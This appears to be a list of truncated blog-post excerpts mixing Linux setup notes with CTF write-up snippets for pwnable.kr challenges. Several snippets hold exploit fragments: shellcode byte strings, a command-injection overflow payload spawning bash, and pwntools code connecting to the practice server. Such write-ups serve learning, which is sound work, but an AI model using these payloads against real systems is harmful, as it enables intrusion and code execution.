sudo yum install -y yum-utils device-mapper-persistent-data lvm2； sudo yum-config-manager --add-repo https://download.d

commanddf -lh fdisk /dev/sda Welcome to fdisk (util-linux 2.31.1). Changes will remain in memory only, until you decide

way 1failed~ sudo su mount /dev/sda5 /mnt mount --bind /dev /mnt/dev mount --bind /dev/pts /mnt/dev/pts mount --bind /p

conda create -n py27 python=2.7 source activate py27 MACOS_UNIVERSAL=no python -m pip install pwntools

1.lovelettersolve payload = 'nv sh -c bash ' + 'A' * (256 - 14 - 2 - 1) + '|\x01' 2.crypto1solv

1.echo2solve from pwn import * p = remote('pwnable.kr', 9011) shellcode="\x6a\x3b\x58\x99\x52\x48\xbb\x2f\

1.dragonsolveoverflow while ( *((_BYTE *)ptr + 8) > 0 ); uaf .text:080488C0 mov eax, [ebp+drago

1. What the password? 100questionyou got a sample of rick’s PC’s memory. can you get his user password? format: CTF{…} A

question题目描述： windows域环境权限不好配，还请各位师傅高抬贵手，不要搅屎 c段只用到了0-20，不需要扫21-255，端口也只开放了常用端口。 web.lctf.com中有个域用户是web.lctf.com\bugua

1.tiny_easysolvefrom pwn import * shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80" shellcode += "\x6c\x0e\

16.unlinkquestion #include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct tagOBJ

13.uafquestion #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #inc